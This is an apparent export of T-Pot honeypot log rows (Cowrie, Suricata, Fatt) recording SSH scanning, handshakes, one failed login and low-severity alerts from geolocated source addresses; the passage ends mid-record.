20935	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:06:04.91502+03	2021-09-20 14:15:03.013653+03	{"_id": "uAXiAnwBvYTbRNuEavpF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "5a2c163580eb", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:06:04.915020Z", "@timestamp": "2021-09-20T11:06:04.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20936	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:05.722938+03	2021-09-20 14:15:03.014645+03	{"_id": "ugXiAnwBvYTbRNuEbfoV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1145426625265717, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42494, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.722938Z", "@timestamp": "2021-09-20T11:06:05.722Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30361	192.168.20.104	109.199.241.180	Suricata	2021-09-20 14:34:33.590095+03	2021-09-20 14:45:02.905171+03	{"_id": "Ngb8AnwBvYTbRNuEfDzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:33.590095Z", "@timestamp": "2021-09-20T11:34:33.590Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
20937	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:05:49.445122+03	2021-09-20 14:15:03.015642+03	{"_id": "lAXiAnwBvYTbRNuELvqN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "dest_ip": "192.168.20.116", "flow_id": 472070241441101, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44568, "dest_port": 22, "timestamp": "2021-09-20T11:05:49.445122Z", "@timestamp": "2021-09-20T11:05:49.445Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20938	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:05:57.443473+03	2021-09-20 14:15:03.016642+03	{"_id": "ngXiAnwBvYTbRNuETfrR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32428, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2135195395671121, "@version": "1", "in_iface": "enp5s0", "src_port": 60091, "dest_port": 53, "timestamp": "2021-09-20T11:05:57.443473Z", "@timestamp": "2021-09-20T11:05:57.443Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20939	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:05:53.20506+03	2021-09-20 14:15:03.017643+03	{"_id": "mgXiAnwBvYTbRNuEPvr-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.login.failed", "message": "login attempt [shuo/shuo] failed", "session": "fd0175c8ad67", "@version": "1", "password": "shuo", "username": "shuo", "timestamp": "2021-09-20T11:05:53.205060Z", "@timestamp": "2021-09-20T11:05:53.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20940	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:05:54.726921+03	2021-09-20 14:15:03.019613+03	{"_id": "mwXiAnwBvYTbRNuEQvrm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "fd0175c8ad67", "@version": "1", "duration": 5.658814907073975, "timestamp": "2021-09-20T11:05:54.726921Z", "@timestamp": "2021-09-20T11:05:54.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20941	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:05:49.065567+03	2021-09-20 14:15:03.020643+03	{"_id": "jgXiAnwBvYTbRNuEK_q9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 190.201.223.33:44568 (192.168.176.2:22) [session: fd0175c8ad67]", "session": "fd0175c8ad67", "@version": "1", "protocol": "ssh", "src_port": 44568, "dest_port": 22, "timestamp": "2021-09-20T11:05:49.065567Z", "@timestamp": "2021-09-20T11:05:49.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20942	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:07.798313+03	2021-09-20 14:15:03.021644+03	{"_id": "7AXiAnwBvYTbRNuEdPrn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:06:07.253818+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1790}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 718062347083642, "payload": "AAAI7AYUEzMMbapi1Y2HF9hO0OH6xAAAAcpjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGN1cnZlNDQ4LXNoYTUxMixlY2RoLXNoYTItbmlzdHA1MjEsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItMS4zLjEzMi4wLjEwLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGExLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMjU2LGRpZmZpZS1oZWxsbWFuLWdyb3VwMTUtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTctc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMSxyc2EyMDQ4LXNoYTI1Nixyc2ExMDI0LXNoYTEsZXh0LWluZm8tYwAAAbVzc2gtZWQyNTUxOS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZWQ0NDgtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDUyMS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHAyNTYtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi0xLjMuMTMyLjAuMTAtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLXJzYS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZHNzLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1lZDI1NTE5LHNzaC1lZDQ0OCxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLTEuMy4xMzIuMC4xMCxyc2Etc2hhMi0yNTYscnNhLXNoYTItNTEyLHNzaC1yc2Esc3NoLWRzcwAAAM1jaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMsYmxvd2Zpc2gtY2JjLGNhc3QxMjgtY2JjLGFyY2ZvdXIyNTYsYXJjZm91cjEyOCxhcmNmb3VyAAAAzWNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczI1Ni1nY21Ab3BlbnNzaC5jb20sYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxhZXMyNTYtY3RyLGFlczE5Mi1jdHIsYWVzMTI4LWN0cixhZXMyNTYtY2JjLGFlczE5Mi1jYmMsYWVzMTI4LWNiYywzZGVzLWNiYyxibG93ZmlzaC1jYmMsY2FzdDEyOC1jYmMsYXJjZm91cjI1NixhcmNmb3VyMTI4LGFyY2ZvdXIAAAGtdW1hYy02NC1ldG1Ab3BlbnNzaC5jb20sdW1hYy0xMjgtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGht", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59998, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:06:07.798313Z", "@timestamp": "2021-09-20T11:06:07.798Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......3.m.b.....N........curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c....ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hm"}}	1	\N	\N	alert	\N	\N
20943	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:07.526+03	2021-09-20 14:15:03.022612+03	{"_id": "_AXiAnwBvYTbRNuEdvoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:59998 (192.168.176.2:22) [session: 1b15c2f38918]", "session": "1b15c2f38918", "@version": "1", "protocol": "ssh", "src_port": 59998, "dest_port": 22, "timestamp": "2021-09-20T11:06:07.526000Z", "@timestamp": "2021-09-20T11:06:07.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20944	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:06:08.68649+03	2021-09-20 14:15:03.023642+03	{"_id": "CQXiAnwBvYTbRNuEePvP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 89173908305561, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59354, "dest_port": 22, "timestamp": "2021-09-20T11:06:08.686490Z", "@timestamp": "2021-09-20T11:06:08.686Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20945	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:08.362424+03	2021-09-20 14:15:03.024642+03	{"_id": "EAXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:52094 (192.168.176.2:22) [session: eede082e62d5]", "session": "eede082e62d5", "@version": "1", "protocol": "ssh", "src_port": 52094, "dest_port": 22, "timestamp": "2021-09-20T11:06:08.362424Z", "@timestamp": "2021-09-20T11:06:08.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20946	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:08.402478+03	2021-09-20 14:15:03.026646+03	{"_id": "HQXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59354, "timestamp": "2021-09-20T11:06:08.402478", "@timestamp": "2021-09-20T11:06:08.402Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20947	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:08.640896+03	2021-09-20 14:15:03.027614+03	{"_id": "KAXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52094, "timestamp": "2021-09-20T11:06:08.640896", "@timestamp": "2021-09-20T11:06:08.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20948	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:06:08.686802+03	2021-09-20 14:15:03.028649+03	{"_id": "KQXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59354, "dest_port": 22, "timestamp": "2021-09-20T11:06:08.686802", "@timestamp": "2021-09-20T11:06:08.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20950	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:08.687358+03	2021-09-20 14:15:03.031642+03	{"_id": "KwXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", 